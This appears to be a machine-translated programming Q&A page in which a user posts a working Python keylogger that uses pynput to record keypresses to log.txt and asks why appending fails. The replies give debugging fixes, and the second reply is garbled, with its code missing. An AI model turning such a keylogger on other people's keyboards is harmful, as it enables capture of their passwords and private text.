尝试使用按键记录器附加文本文件

时间:2019-07-16 06:46:11

标签: python text

我试图创建一个键盘记录器,以便在运行它时将所有记录的键附加到文本文件中。当前,它正在记录所有键,但是没有追加到设置的文本文件中。

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []


def on_press(key):
  global keys, count

  keys.append(key)
  count += 1
  print("{0} pressed".format(key))

  if count >= 10: 
    count = 0
    write_file(str(keys))
    keys = []

def write_file(keys):
  with open("log.txt","a") as f:
    for key in keys:
      f.write(str(key))


def on_release(key):
  if key == Key.esc:
    return False

with Listener(on_press=on_press, on_release=on_release) as listener:
  listener.join()

2 个答案:

答案 0 :(得分:0)

尝试删除您要赋予str函数的keys附近的write_file

喜欢:

write_file(keys)

str列表时,您将整个列表作为字符串...

答案 1 :(得分:0)

对于我来说,日志记录似乎很好...问题可能是列表keys的所有元素都不都是相同的类型,或更具体地说,列表{{1} }例如如果按下空格则为“'a'”,但如果按下空格则为“ Key.space”。 因此,如果要将其很好地记录在文本文件中,则必须对其应用更多格式。 快速修复程序可能看起来像

keys

顺便说一下,全局变量是邪恶的;-)